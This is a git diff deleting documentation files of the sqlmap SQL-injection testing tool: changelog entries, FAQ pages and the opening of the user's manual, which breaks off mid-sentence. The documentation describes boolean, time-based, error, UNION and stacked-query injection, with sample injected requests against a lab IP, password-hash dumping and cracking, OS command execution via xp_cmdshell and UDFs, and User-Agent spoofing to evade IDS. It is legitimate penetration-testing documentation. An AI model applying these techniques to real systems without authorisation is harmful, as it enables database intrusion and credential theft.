- there is no database name specified;
- * Minor bug fix to correctly dump table entries when the column is
- provided;
- * Minor bug fix to correctly handle session.error, session.timeout and
- httplib.BadStatusLine exceptions in HTTP requests;
- * Minor bug fix to correctly catch connection exceptions and notify to
- the user also if they occur within a thread;
- * Increased default output level from 0 to 1;
- * Updated documentation.
-
- -- Bernardo Damele A. G. Thu, 18 Dec 2008 10:00:00 +0000
-
-sqlmap (0.6.2-1) stable; urgency=low
-
- * Major bug fix to correctly dump tables entries when --stop is not
- specified;
- * Major bug fix so that the users' privileges enumeration now works
- properly also on both MySQL < 5.0 and MySQL >= 5.0;
- * Major bug fix when the request is POST to also send the GET parameters
- if any have been provided;
- * Major bug fix to correctly update sqlmap to the latest stable release
- with command line --update;
- * Major bug fix so that when the expected value of a query (count
- variable) is an integer and, for some reasons, its resumed value from
- the session file is a string or a binary file, the query is executed
- again and its new output saved to the session file;
- * Minor bug fix in MySQL comment injection fingerprint technique;
- * Minor improvement to correctly enumerate tables, columns and dump
- tables entries on Oracle and on PostgreSQL when the database name is
- not 'public' schema or a system database;
- * Minor improvement to be able to dump entries on MySQL < 5.0 when
- database name, table name and column(s) are provided;
- * Updated the database management system fingerprint checks to correctly
- identify MySQL 5.1.x, MySQL 6.0.x and PostgreSQL 8.3;
- * More user-friendly warning messages.
-
- -- Bernardo Damele A. G. Sun, 2 Nov 2008 19:00:00 +0000
-
-sqlmap (0.6.1-1) stable; urgency=low
-
- * Major bug fix to blind SQL injection bisection algorithm to handle an
- exception;
- * Added a Metasploit Framework 3 auxiliary module to run sqlmap;
- * Implemented possibility to test for and inject also on LIKE
- statements;
- * Implemented --start and --stop options to set the first and the last
- table entry to dump;
- * Added non-interactive/batch-mode (--batch) option to make it easy to
- wrap sqlmap in Metasploit and any other tool;
- * Minor enhancement to save also the length of query output in the
- session file when retrieving the query output length for ETA or for
- resume purposes;
- * Changed the order sqlmap dump table entries from column by column to
- row by row. Now it also dumps entries as they are stored in the tables,
- not forcing the entries' order alphabetically anymore;
- * Minor bug fix to correctly handle parameters' value with % character.
-
- -- Bernardo Damele A. G. Fri, 20 Oct 2008 10:00:00 +0000
-
-sqlmap (0.6-1) stable; urgency=low
-
- * Complete code refactor and many bugs fixed;
- * Added multithreading support to set the maximum number of concurrent
- HTTP requests;
- * Implemented SQL shell (--sql-shell) functionality and fixed SQL query
- (--sql-query, before called -e) to be able to run whatever SELECT
- statement and get its output in both inband and blind SQL injection
- attack;
- * Added an option (--privileges) to retrieve DBMS users privileges, it
- also notifies if the user is a DBMS administrator;
- * Added support (-c) to read options from configuration file, an example
- of valid INI file is sqlmap.conf and support (--save) to save command
- line options on a configuration file;
- * Created a function that updates the whole sqlmap to the latest stable
- version available by running sqlmap with --update option;
- * Created sqlmap .deb (Debian, Ubuntu, etc.) and .rpm (Fedora, etc.)
- installation binary packages;
- * Created sqlmap .exe (Windows) portable executable;
- * Save a lot of more information to the session file, useful when
- resuming injection on the same target to not loose time on identifying
- injection, UNION fields and back-end DBMS twice or more times;
- * Improved automatic check for parenthesis when testing and forging SQL
- query vector;
- * Now it checks for SQL injection on all GET/POST/Cookie parameters then
- it lets the user select which parameter to perform the injection on in
- case that more than one is injectable;
- * Implemented support for HTTPS requests over HTTP(S) proxy;
- * Added a check to handle NULL or not available queries output;
- * More entropy (randomStr() and randomInt() functions in
- lib/core/common.py) in inband SQL injection concatenated query and in
- AND condition checks;
- * Improved XML files structure;
- * Implemented the possibility to change the HTTP Referer header;
- * Added support to resume from session file also when running with
- inband SQL injection attack;
- * Added an option (--os-shell) to execute operating system commands if
- the back-end DBMS is MySQL, the web server has the PHP engine active
- and permits write access on a directory within the document root;
- * Added a check to assure that the provided string to match (--string)
- is within the page content;
- * Fixed various queries in XML file;
- * Added LIMIT, ORDER BY and COUNT queries to the XML file and adapted
- the library to parse it;
- * Fixed password fetching function, mainly for Microsoft SQL Server and
- reviewed the password hashes parsing function;
- * Major bug fixed to avoid tracebacks when the testable parameter(s) is
- dynamic, but not injectable;
- * Enhanced logging system: added three more levels of verbosity to show
- also HTTP sent and received traffic;
- * Enhancement to handle Set-Cookie from target url and automatically
- re-establish the Session when it expires;
- * Added support to inject also on Set-Cookie parameters;
- * Implemented TAB completion and command history on both --sql-shell and
- --os-shell;
- * Renamed some command line options;
- * Added a conversion library;
- * Added code schema and reminders for future developments;
- * Added Copyright comment and $Id$;
- * Updated the command line layout and help messages;
- * Updated some docstrings;
- * Updated documentation files.
-
- -- Bernardo Damele A. G. Mon, 1 Sep 2008 10:00:00 +0100
-
-sqlmap (0.5-1) stable; urgency=low
-
- * Added support for Oracle database management system
- * Extended inband SQL injection functionality (--union-use) to all
- other possible queries since it only worked with -e and --file on
- all DMBS plugins;
- * Added support to extract database users password hash on Microsoft
- SQL Server;
- * Added a fuzzer function with the aim to parse HTML page looking
- for standard database error messages consequently improving
- database fingerprinting;
- * Added support for SQL injection on HTTP Cookie and User-Agent headers;
- * Reviewed HTTP request library (lib/request.py) to support the
- extended inband SQL injection functionality. Splitted getValue()
- into getInband() and getBlind();
- * Major enhancements in common library and added checkForBrackets()
- method to check if the bracket(s) are needed to perform a UNION query
- SQL injection attack;
- * Implemented --dump-all functionality to dump entire DBMS data from
- all databases tables;
- * Added support to exclude DBMS system databases' when enumeration
- tables and dumping their entries (--exclude-sysdbs);
- * Implemented in Dump.dbTableValues() method the CSV file dumped data
- automatic saving in csv/ folder by default;
- * Added DB2, Informix and Sybase DBMS error messages and minor
- improvements in xml/errors.xml;
- * Major improvement in all three DBMS plugins so now sqlmap does not
- get entire databases' tables structure when all of database/table/
- column are specified to be dumped;
- * Important fixes in lib/option.py to make sqlmap properly work also
- with python 2.5 and handle the CSV dump files creation work also
- under Windows operating system, function __setCSVDir() and fixed
- also in lib/dump.py;
- * Minor enhancement in lib/injection.py to randomize the number
- requested to test the presence of a SQL injection affected parameter
- and implemented the possibilities to break (q) the for cycle when
- using the google dork option (-g);
- * Minor fix in lib/request.py to properly encode the url to request
- in case the "fixed" part of the url has blank spaces;
- * More minor layout enhancements in some libraries;
- * Renamed DMBS plugins;
- * Complete code refactoring, a lot of minor and some major fixes in
- libraries, many minor improvements;
- * Updated all documentation files.
-
- -- Bernardo Damele A. G. Sun, 4 Nov 2007 20:00:00 +0100
-
-sqlmap (0.4-1) stable; urgency=low
-
- * Added DBMS fingerprint based also upon HTML error messages parsing
- defined in lib/parser.py which reads an XML file defining default
- error messages for each supported DBMS;
- * Added Microsoft SQL Server extensive DBMS fingerprint checks based
- upon accurate '@@version' parsing matching on an XML file to get also
- the exact patching level of the DBMS;
- * Added support for query ETA (Estimated Time of Arrival) real time
- calculation (--eta);
- * Added support to extract database management system users password
- hash on MySQL and PostgreSQL (--passwords);
- * Added docstrings to all functions, classes and methods, consequently
- released the sqlmap development documentation
- ;
- * Implemented Google dorking feature (-g) to take advantage of Google
- results affected by SQL injection to perform other command line
- argument on their DBMS;
- * Improved logging functionality: passed from banal 'print' to Python
- native logging library;
- * Added support for more than one parameter in '-p' command line
- option;
- * Added support for HTTP Basic and Digest authentication methods
- (--basic-auth and --digest-auth);
- * Added the command line option '--remote-dbms' to manually specify
- the remote DBMS;
- * Major improvements in union.UnionCheck() and union.UnionUse()
- functions to make it possible to exploit inband SQL injection also
- with database comment characters ('--' and '#') in UNION query
- statements;
- * Added the possibility to save the output into a file while performing
- the queries (-o OUTPUTFILE) so it is possible to stop and resume the
- same query output retrieving in a second time (--resume);
- * Added support to specify the database table column to enumerate
- (-C COL);
- * Added inband SQL injection (UNION query) support (--union-use);
- * Complete code refactoring, a lot of minor and some major fixes in
- libraries, many minor improvements;
- * Reviewed the directory tree structure;
- * Splitted lib/common.py: inband injection functionalities now are
- moved to lib/union.py;
- * Updated documentation files.
-
- -- Bernardo Damele A. G. Fri, 15 Jun 2007 20:00:00 +0100
-
-sqlmap (0.3-1) stable; urgency=low
-
- * Added module for MS SQL Server;
- * Strongly improved MySQL dbms active fingerprint and added MySQL
- comment injection check;
- * Added PostgreSQL dbms active fingerprint;
- * Added support for string match (--string);
- * Added support for UNION check (--union-check);
- * Removed duplicated code, delegated most of features to the engine
- in common.py and option.py;
- * Added support for --data command line argument to pass the string
- for POST requests;
- * Added encodeParams() method to encode url parameters before making
- http request;
- * Many bug fixes;
- * Rewritten documentation files;
- * Complete code restyling.
-
- -- Bernardo Damele A. G. Sat, 20 Jan 2007 20:00:00 +0100
-
-sqlmap (0.2-1) stable; urgency=low
-
- * complete refactor of entire program;
- * added TODO and THANKS files;
- * added some papers references in README file;
- * moved headers to user-agents.txt, now -f parameter specifies a file
- (user-agents.txt) and randomize the selection of User-Agent header;
- * strongly improved program plugins (mysqlmap.py and postgres.py),
- major enhancements:
- * improved active mysql fingerprint check_dbms();
- * improved enumeration functions for both databases;
- * minor changes in the unescape() functions;
- * replaced old inference algorithm with a new bisection algorithm.
- * reviewed command line parameters, now with -p it's possible to
- specify the parameter you know it's vulnerable to sql injection,
- this way the script won't perform the sql injection checks itself;
- removed the TOKEN parameter;
- * improved Common class, adding support for http proxy and http post
- method in hash_page;
- * added OptionCheck class in option.py which performs all needed checks
- on command line parameters and values;
- * added InjectionCheck class in injection.py which performs check on
- url stability, dynamics of parameters and injection on dynamic url
- parameters;
- * improved output methods in dump.py;
- * layout enhancement on main program file (sqlmap.py), adapted to call
- new option/injection classes and improvements on catching of
- exceptions.
-
- -- Bernardo Damele A. G. Wed, 13 Dec 2006 20:00:00 +0100
diff --git a/doc/FAQ.html b/doc/FAQ.html
deleted file mode 100644
index a402dd21ac7..00000000000
--- a/doc/FAQ.html
+++ /dev/null
@@ -1,228 +0,0 @@
-
-
-
-
- sqlmap - Frequently Asked Questions
-
-
-sqlmap - Frequently Asked Questions
-
-
-
-This document contains frequently asked questions for
-sqlmap .
-
-
-
-
-
-
-
-
-
-
-
-sqlmap is an open source penetration testing tool that automates the
-process of detecting and exploiting SQL injection flaws and taking over
-of database servers. It comes with a powerful detection engine, many niche
-features for the ultimate penetration tester and a broad range of switches
-lasting from database fingerprinting, over data fetching from the
-database, to accessing the underlying file system and executing commands
-on the operating system via out-of-band connections.
-
-
-
-If you are running on a Unix/Linux system type the following command
-from a terminal:
-
-
-python sqlmap.py -h
-
-
-
-
-If you are running on a Windows system type the following command
-from a terminal:
-
-
-C:\Python26\python.exe sqlmap.py -h
-
-
-
-
-Where C:\Python26 is the path where you installed
-Python >= 2.6 .
-
-
-
-Yes. sqlmap is released under the terms of the GPLv2, which means that any
-derivative work must be distributed without further restrictions on the
-rights granted by the GPL itself.
-
-
-
-Yes. There are plans to support also Informix and Ingres at some
-point of time.
-
-
-
-All help is greatly appreciated. First of all download the tool, make sure
-you are running the latest development version from the Subversion
-repository, read the user's manual carefully, have fun with it during your
-penetration tests.
-If you find bugs or have ideas for possible improvements, feel free to
-get in touch on the mailing list . Many people have
-contributed in different ways to the sqlmap development.
-You can be the next!
-
-
-
-Yes, we are looking for people who can write some clean Python code, are
-up to do security research, know about web application security, database
-assessment and takeover, software refactoring and are motivated to join
-the development team.
-If this sounds interesting to you,
-get in touch !
-
-
-
-If you think that sqlmap is a great tool, it really played well during
-your penetration tests, or you simply like it, you, or your boss, can
-donate some money to the developers via PayPal.
-
-
-
-No .
-
-
-
-Currently there is no pressure on Python projects to switch to the new
-version of Python interpreter, as the process of switching, especially on
-larger projects can be cumbersome (due to the few backward incompatibilities).
-The switch will take place eventually, but currently it's a very low priority task.
-
-
-
-sqlmap needs to properly decode page content to be able to properly
-detect and deal with internationalized characters. In some cases web developers
-are doing mistakes when declaring used web page charset (e.g. iso_8859 instead
-of standardized name iso-8859), which can cause problems. As a failsafe mechanism
-we've incorporated heuristic detection engine
-chardet ,
-so in most cases sqlmap will deal with this kind of problems automatically.
-Nevertheless, you are strongly advised to report us back those typographic "mistakes"
-so we could handle them manually inside the code.
-
-Question(s):
-#1
-#2
-#3
-
-
-
-Just put * to the place where sqlmap should check for injections in URI
-itself. In example: ./sqlmap.py -u "www.site.com/id1/1*/id2/2" sqlmap
-will try to inject the payloads just at that place marked with * character.
-
-Question(s):
-#1
-#2
-#3
-
-
-
-You most probably don't have enough permissions for querying on a system
-table containing password hashes.
-
-Question(s):
-#1
-
-
-
-Switch --text-only is used for removing non-textual data (tags,
-javascripts, styles,...) from the retrieved page content to further
-improve detection capabilities.
-
-Question(s):
-#1
-
-
-
-There are few IDSes that filter out all sqlmap requests based on default
-User-Agent HTTP header used (e.g. "User-agent: sqlmap/1.0-dev"). To prevent this
-kind of situations you are advised to use switch --random-agent.
-If you are getting those kind of messages for all targets then you
-most probably need to properly set up your proxy settings (switches --proxy
-and/or --ignore-proxy)
-
-Question(s):
-#1
-
-
-
-It is possible to use those commands, but only if the stacked injection is supported
-by the vulnerable target. In vast majority of cases affected DBMSes by these kind of
-attacks are Microsoft SQL Server and PostgreSQL.
-
-Question(s):
-#1
-
-
-
-You are most probably using outdated version of Python. sqlmap is generally
-supported by Python versions in range 2.5, 2.6 and 2.7, while you are strongly
-advised to use versions 2.6 and 2.7.
-
-Question(s):
-#1
-
-
-
-In most of those kind of cases blatant error message detection is used by commercial
-tools making some "false positive" claims. You have to be aware that
-DBMS error message doesn't mean that the affected web application is vulnerable to
-SQL injection attacks. sqlmap goes several steps further and never claims
-an injection point without making through tests if it can be exploited at the first place.
-
-Question(s):
-#1
-
-
-
diff --git a/doc/FAQ.pdf b/doc/FAQ.pdf
deleted file mode 100644
index 05dc5e9f1c6..00000000000
Binary files a/doc/FAQ.pdf and /dev/null differ
diff --git a/doc/FAQ.sgml b/doc/FAQ.sgml
deleted file mode 100644
index 81571beaa2d..00000000000
--- a/doc/FAQ.sgml
+++ /dev/null
@@ -1,210 +0,0 @@
-
-
-
-
-sqlmap - Frequently Asked Questions
-by ,
-
-
-This document contains frequently asked questions for .
-
-
-
-
-Frequently Asked Questions
-
-What is sqlmap?
-
-
-sqlmap is an open source penetration testing tool that automates the
-process of detecting and exploiting SQL injection flaws and taking over
-of database servers. It comes with a powerful detection engine, many niche
-features for the ultimate penetration tester and a broad range of switches
-lasting from database fingerprinting, over data fetching from the
-database, to accessing the underlying file system and executing commands
-on the operating system via out-of-band connections.
-
-How do I execute sqlmap?
-
-
-If you are running on a Unix/Linux system type the following command
-from a terminal:
-
-python sqlmap.py -h
-
-
-
-If you are running on a Windows system type the following command
-from a terminal:
-
-C:\Python26\python.exe sqlmap.py -h
-
-
-
-Where C:\Python26 is the path where you installed >= 2.6 .
-
-Can I integrate sqlmap with a security tool I am developing?
-
-
-Yes. sqlmap is released under the terms of the GPLv2, which means that any
-derivative work must be distributed without further restrictions on the
-rights granted by the GPL itself.
-
-Will you support other database management systems?
-
-
-Yes. There are plans to support also Informix and Ingres at some
-point of time.
-
-How can I occasionally contribute?
-
-
-All help is greatly appreciated. First of all download the tool, make sure
-you are running the latest development version from the Subversion
-repository, read the user's manual carefully, have fun with it during your
-penetration tests.
-If you find bugs or have ideas for possible improvements, feel free to
-. Many people have in different ways to the sqlmap development.
-You can be the next!
-
-Can I actively contribute in the long-term development?
-
-
-Yes, we are looking for people who can write some clean Python code, are
-up to do security research, know about web application security, database
-assessment and takeover, software refactoring and are motivated to join
-the development team.
-If this sounds interesting to you, !
-
-How can I support the development?
-
-
-If you think that sqlmap is a great tool, it really played well during
-your penetration tests, or you simply like it, you, or your boss, can
- to the developers via PayPal.
-
-Can you hack a site for me?
-
-
-No .
-
-When sqlmap will switch to the Python 3?
-
-
-Currently there is no pressure on Python projects to switch to the new
-version of Python interpreter, as the process of switching, especially on
-larger projects can be cumbersome (due to the few backward incompatibilities).
-The switch will take place eventually, but currently it's a very low priority task.
-
-What does "WARNING unknown charset '...'" mean?
-
-
-sqlmap needs to properly decode page content to be able to properly
-detect and deal with internationalized characters. In some cases web developers
-are doing mistakes when declaring used web page charset (e.g. iso_8859 instead
-of standardized name iso-8859 ), which can cause problems. As a failsafe mechanism
-we've incorporated heuristic detection engine
-,
-so in most cases sqlmap will deal with this kind of problems automatically.
-Nevertheless, you are strongly advised to report us back those typographic "mistakes"
-so we could handle them manually inside the code.
-
-
-Question(s):
-
-
-
-
-How to use sqlmap with mod_rewrite enabled?
-
-
-Just put * to the place where sqlmap should check for injections in URI
-itself. In example: ./sqlmap.py -u "www.site.com/id1/1*/id2/2" sqlmap
-will try to inject the payloads just at that place marked with * character.
-
-
-Question(s):
-
-
-
-
-Why is sqlmap not able to get password hashes in some cases?
-
-
-You most probably don't have enough permissions for querying on a system
-table containing password hashes.
-
-
-Question(s):
-
-
-What is - -text-only switch?
-
-
-Switch - -text-only is used for removing non-textual data (tags,
-javascripts, styles,...) from the retrieved page content to further
-improve detection capabilities.
-
-
-Question(s):
-
-
-I am getting "CRITICAL connection timed" while I am able to browse
-the site normally?
-
-
-There are few IDSes that filter out all sqlmap requests based on default
-User-Agent HTTP header used (e.g. "User-agent: sqlmap/1.0-dev" ). To prevent this
-kind of situations you are advised to use switch - -random-agent .
-If you are getting those kind of messages for all targets then you
-most probably need to properly set up your proxy settings (switches - -proxy
-and/or - -ignore-proxy )
-
-
-Question(s):
-
-
-Is it possible to use "INSERT/UPDATE" SQL commands via - -sql-query
-and/or - -sql-shell ?
-
-
-It is possible to use those commands, but only if the stacked injection is supported
-by the vulnerable target. In vast majority of cases affected DBMSes by these kind of
-attacks are Microsoft SQL Server and PostgreSQL.
-
-
-Question(s):
-
-
-I am getting "finally: SyntaxError: invalid syntax" when trying to run sqlmap?
-
-
-You are most probably using outdated version of Python. sqlmap is generally
-supported by Python versions in range 2.5, 2.6 and 2.7, while you are strongly
-advised to use versions 2.6 and 2.7.
-
-
-Question(s):
-
-
-sqlmap is not able to detect/exploit injection while other commercial tools are?
-
-
-In most of those kind of cases blatant error message detection is used by commercial
-tools making some "false positive" claims. You have to be aware that
-DBMS error message doesn't mean that the affected web application is vulnerable to
-SQL injection attacks. sqlmap goes several steps further and never claims
-an injection point without making through tests if it can be exploited at the first place.
-
-
-Question(s):
-
-
-
diff --git a/doc/README.html b/doc/README.html
deleted file mode 100644
index 5dc5ab59e7f..00000000000
--- a/doc/README.html
+++ /dev/null
@@ -1,3203 +0,0 @@
-
-
-
-
- sqlmap user's manual
-
-
-sqlmap user's manual
-
-version 1.0-dev, XXX XX, 2012
-
-This document is the user's manual for
-sqlmap .
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-sqlmap is an open source penetration testing tool that automates the
-process of detecting and exploiting SQL injection flaws and taking over of
-database servers. It comes with a powerful detection engine, many niche
-features for the ultimate penetration tester and a broad range of switches
-lasting from database fingerprinting, over data fetching from the
-database, to accessing the underlying file system and executing commands
-on the operating system via out-of-band connections.
-
-
-
-
-sqlmap is developed in
-Python ,
-a dynamic, object-oriented, interpreted programming language freely available from
-http://python.org/download/ .
-This makes sqlmap a cross-platform application which is independant of the
-operating system. sqlmap requires Python version 2.6 or above.
-To make it even easier, many GNU/Linux distributions come out of the box
-with Python installed. Other Unixes and Mac OSX also provide Python packaged
-and ready to be installed.
-Windows users can download and install the Python installer for x86, AMD64 and Itanium.
-sqlmap relies on the
-Metasploit Framework for some of its post-exploitation takeover
-features. You need to grab a copy of the framework from the
-download
-page - the required version is 3.5 or higher.
-For the ICMP tunneling out-of-band takeover technique, sqlmap requires the
-Impacket library too.
-If you are willing to connect directly to a database server (-d switch),
-without passing through the web application, you need to install Python bindings
-for the database management system that you are going to attack:
-
-
-
-If you plan to attack a web application behind NTLM authentication or use
-the sqlmap update functionality (--update switch) you need to
-install respectively
-python-ntlm and
-python-svn libraries respectively.
-Optionally, if you are running sqlmap on Windows, you may wish to install the
-PyReadline
-library in order to take advantage of the sqlmap TAB completion and
-history support features in the SQL shell and OS shell.
-Note that these functionalities are available natively via the standard Python
-readline
-library on other operating systems.
-You can also choose to install the
-Psyco library to eventually speed up the sqlmap algorithmic
-operations.
-
-
-
-
-Detect and exploit a SQL injection
-
-Let's say that you are auditing a web application and found a web page
-that accepts dynamic user-provided values via GET, POST
-or Cookie parameters or via the HTTP User-Agent
-request header.
-You now want to test if these are affected by a SQL injection
-vulnerability, and if so, exploit them to retrieve as much information as
-possible from the back-end database management system, or even be able to
-access the underlying file system and operating system.
-In a simple world, consider that the target url is:
-
-
-http://192.168.136.131/sqlmap/mysql/get_int.php?id=1
-
-
-Assume that:
-
-
-http://192.168.136.131/sqlmap/mysql/get_int.php?id=1+AND+1=1
-
-
-is the same page as the original one and (the condition evaluates to True ):
-
-
-http://192.168.136.131/sqlmap/mysql/get_int.php?id=1+AND+1=2
-
-
-differs from the original one (the condition evaluates to False ).
-This likely means that you are in front of a SQL
-injection vulnerability in the id GET parameter of the
-index.php page. Additionally, no sanitisation of user's supplied
-input is taking place before the SQL statement is sent to the
-back-end database management system.
-This is quite a common flaw in dynamic content web applications and it
-does not depend upon the back-end database management system nor on the web
-application programming language; it is a flaw within the application code.
-The
-Open Web Application Security Project
-rated this class of vulnerability as the
-most common and serious web application vulnerability in their
-Top Ten list from 2010.
-Now that you have found the vulnerable parameter, you can exploit it by
-manipulating the id parameter value in the HTTP request.
-Back to the scenario, we can make an educated guess about the probable
-syntax of the SQL SELECT statement where the user supplied value is
-being used in the get_int.php web page. In pseudo PHP code:
-
-
-$query = "SELECT [column(s) name] FROM [table name] WHERE id=" . $_REQUEST['id'];
-
-
-As you can see, appending a syntactically valid SQL statement that will
-evaluate to a True condition after the value for the id
-parameter (such as id=1 AND 1=1) will result in the web application
-returning the same web page as in the original request (where no SQL
-statement is added).
-This is because the back-end database management system has evaluated the
-injected SQL statement.
-The previous example describes a simple boolean-based blind SQL injection
-vulnerability.
-However, sqlmap is able to detect any type of SQL injection flaw and adapt
-its work-flow accordingly.
-In this simple scenario it would also be possible to append, not just one or
-more valid SQL conditions, but also (depending on the DBMS) stacked SQL
-queries. For instance: [...]&id=1;ANOTHER SQL QUERY#.
-sqlmap can automate the process of identifying and exploiting this type of
-vulnerability.
-Passing the original address, http://192.168.136.131/sqlmap/mysql/get_int.php?id=1
-to sqlmap, the tool will automatically:
-
-
-Identify the vulnerable parameter(s) (id in this example);
-Identify which SQL injection techniques can be used to exploit the
-vulnerable parameter(s);
-Fingerprint the back-end database management system;
-Depending on the user's options, it will extensively fingerprint,
-enumerate data or takeover the database server as a whole.
-
-
-...and depending on supplied options, it will enumerate data or takeover the
-database server entirely.
-There exist many
-resources
-on the web explaining in depth how to detect, exploit and prevent SQL
-injection vulnerabilities in web applications. It is recommendeded that you read
-them before going much further with sqlmap.
-
-Direct connection to the database management system
-
-Up until sqlmap version 0.8 , the tool has been yet another
-SQL injection tool , used by web application penetration testers/newbies/curious
-teens/computer addicted/punks and so on. Things move on
-and as they evolve, we do as well. Now it supports this new switch,
--d, that allows you to connect from your machine to the database
-server's TCP port where the database management system daemon is listening
-on and perform any operation you would do while using it to attack a
-database via a SQL injection vulnerability.
-
-
-
-
-sqlmap is able to detect and exploit five different SQL injection
-types :
-
-
-Boolean-based blind SQL injection , also known as inferential
-SQL injection : sqlmap replaces or appends to the affected parameter in
-the HTTP request, a syntatically valid SQL statement string containing a
-SELECT sub-statement, or any other SQL statement whose the user
-want to retrieve the output.
-For each HTTP response, by making a comparison between the HTTP response
-headers/body with the original request, the tool inference the output of
-the injected statement character by character. Alternatively, the user
-can provide a string or regular expression to match on True pages.
-The bisection algorithm implemented in sqlmap to perform this technique
-is able to fetch each character of the output with a maximum of seven HTTP
-requests. Where the output is not within the clear-text plain charset,
-sqlmap will adapt the algorithm with bigger ranges to detect the output.
-Time-based blind SQL injection , also known as full blind
-SQL injection : sqlmap replaces or appends to the affected parameter in
-the HTTP request, a syntatically valid SQL statement string containing a
-query which put on hold the back-end DBMS to return for a certain number
-of seconds.
-For each HTTP response, by making a comparison between the HTTP response
-time with the original request, the tool inference the output of
-the injected statement character by character. Like for boolean-based
-technique, the bisection algorithm is applied.
-Error-based SQL injection : sqlmap replaces or appends to
-the affected parameter a database-specific error message provoking statement
-and parses the HTTP response headers and body in search of DBMS error messages
-containing the injected pre-defined chain of characters and the subquery
-statement output within. This technique works only when the web application
-has been configured to disclose back-end database management system error
-messages.
-UNION query SQL injection , also known as inband SQL
-injection : sqlmap appends to the affected parameter a syntatically
-valid SQL statement starting with an UNION ALL SELECT.
-This techique works when the web application page passes directly the output
-of the SELECT statement within a for loop, or similar, so
-that each line of the query output is printed on the page content.
-sqlmap is also able to exploit partial (single entry) UNION query SQL
-injection vulnerabilities which occur when the output of the
-statement is not cycled in a for construct, whereas only the first
-entry of the query output is displayed.
-Stacked queries SQL injection , also known as multiple
-statements SQL injection : sqlmap tests if the web application supports
-stacked queries and then, in case it does support, it appends to the affected
-parameter in the HTTP request, a semi-colon (;) followed by the
-SQL statement to be executed. This technique is useful to run SQL
-statements other than SELECT, like for instance, data
-definition or data manipulation statements, possibly leading
-to file system read and write access and operating system command
-execution depending on the underlying back-end database management system
-and the session user privileges.
-
-
-
-
-
-
-You can watch several demo videos, they are hosted on
-YouTube .
-
-
-
-
-Features implemented in sqlmap include:
-
-
-
-
-
-
-Full support for MySQL , Oracle , PostgreSQL ,
-Microsoft SQL Server , Microsoft Access , SQLite ,
-Firebird , Sybase and SAP MaxDB database
-management systems.
-
-Full support for five SQL injection techniques: boolean-based
-blind , time-based blind , error-based ,
-UNION query and stacked queries .
-
-Support to directly connect to the database without passing
-via a SQL injection, by providing DBMS credentials, IP address, port and
-database name.
-
-It is possible to provide a single target URL, get the list of
-targets from
-Burp proxy
-or
-WebScarab proxy requests log files, get the whole HTTP request
-from a text file or get the list of targets by providing sqlmap with a
-Google dork which queries
-Google search engine and parses its results page. You can also
-define a regular-expression based scope that is used to identify which of
-the parsed addresses to test.
-
-Tests provided GET parameters, POST parameters,
-HTTP Cookie header values, HTTP User-Agent header value
-and HTTP Referer header value to identify and exploit SQL
-injection vulnerabilities. It is also possible to specify a comma-separated
-list of specific parameter(s) to test.
-
-Option to specify the maximum number of concurrent HTTP(S)
-requests (multi-threading) to speed up the blind SQL injection
-techniques. Vice versa, it is also possible to specify the number of
-seconds to hold between each HTTP(S) request. Others optimization switches
-to speed up the exploitation are implemented too.
-
-HTTP Cookie header string support, useful when the
-web application requires authentication based upon cookies and you have
-such data or in case you just want to test for and exploit SQL injection
-on such header values. You can also specify to always URL-encode the
-Cookie.
-
-Automatically handles HTTP Set-Cookie header from
-the application, re-establishing of the session if it expires. Test and
-exploit on these values is supported too. Vice versa, you can also force
-to ignore any Set-Cookie header.
-
-HTTP protocol Basic, Digest, NTLM and Certificate
-authentications support.
-
-HTTP(S) proxy support to pass by the requests to the target
-application that works also with HTTPS requests and with authenticated
-proxy servers.
-
-Options to fake the HTTP Referer header value and
-the HTTP User-Agent header value specified by user or
-randomly selected from a textual file.
-
-Support to increase the verbosity level of output messages :
-there exist seven levels of verbosity.
-
-Support to parse HTML forms from the target URL and forge
-HTTP(S) requests against those pages to test the form parameters against
-vulnerabilities.
-
-Granularity and flexibility in terms of both user's
-switches and features.
-
-Estimated time of arrival support for each query, updated
-in real time, to provide the user with an overview on how long it will
-take to retrieve the queries' output.
-
-Automatically saves the session (queries and their output, even if
-partially retrieved) on a textual file in real time while fetching the
-data and resumes the injection by parsing the session file.
-
-Support to read options from a configuration INI file rather than
-specify each time all of the switches on the command line. Support also to
-generate a configuration file based on the command line switches provided.
-
-Support to replicate the back-end database tables structure and
-entries on a local SQLite 3 database.
-
-Option to update sqlmap to the latest development version from the
-subversion repository.
-
-Support to parse HTTP(S) responses and display any DBMS error
-message to the user.
-
-Integration with other IT security open source projects,
-Metasploit and
-w3af .
-
-
-
-
-
-
-
-
-Extensive back-end database software version and underlying
-operating system fingerprint based upon
-error messages ,
-banner parsing ,
-functions output comparison and
-specific features
-such as MySQL comment injection. It is also possible to force the back-end
-database management system name if you already know it.
-
-Basic web server software and web application technology
-fingerprint.
-
-Support to retrieve the DBMS banner , session user
-and current database information. The tool can also check if the
-session user is a database administrator (DBA).
-
-Support to enumerate database users , users' password
-hashes , users' privileges , users' roles ,
-databases , tables and columns .
-
-Automatic recognition of password hashes format and support to
-crack them with a dictionary-based attack .
-
-Support to brute-force tables and columns name . This is
-useful when the session user has no read access over the system table
-containing schema information or when the database management system does
-not store this information anywhere (e.g. MySQL < 5.0).
-
-Support to dump database tables entirely, a range of
-entries or specific columns as per user's choice. The user can also choose
-to dump only a range of characters from each column's entry.
-
-Support to automatically dump all databases ' schemas and
-entries. It is possibly to exclude from the dump the system databases.
-
-Support to search for specific database names, specific tables
-across all databases or specific columns across all databases'
-tables . This is useful, for instance, to identify tables containing
-custom application credentials where relevant columns' names contain
-string like name and pass .
-
-Support to run custom SQL statement(s) as in an interactive
-SQL client connecting to the back-end database. sqlmap automatically
-dissects the provided statement, determines which technique fits best to
-inject it and how to pack the SQL payload accordingly.
-
-
-
-
-
-
-Some of these techniques are detailed in the white paper
-Advanced SQL injection to operating system full control and in the
-slide deck
-Expanding the control over the operating system from the database .
-
-
-Support to inject custom user-defined functions : the user
-can compile a shared library then use sqlmap to create within the back-end
-DBMS user-defined functions out of the compiled shared library file. These
-UDFs can then be executed, and optionally removed, via sqlmap. This is
-supported when the database software is MySQL or PostgreSQL.
-
-Support to download and upload any file from the database
-server underlying file system when the database software is MySQL,
-PostgreSQL or Microsoft SQL Server.
-
-Support to execute arbitrary commands and retrieve their
-standard output on the database server underlying operating system
-when the database software is MySQL, PostgreSQL or Microsoft SQL Server.
-
-On MySQL and PostgreSQL via user-defined function injection and
-execution.
-On Microsoft SQL Server via xp_cmdshell() stored procedure.
-Also, the stored procedure is re-enabled if disabled or created from
-scratch if removed by the DBA.
-
-
-
-Support to establish an out-of-band stateful TCP connection
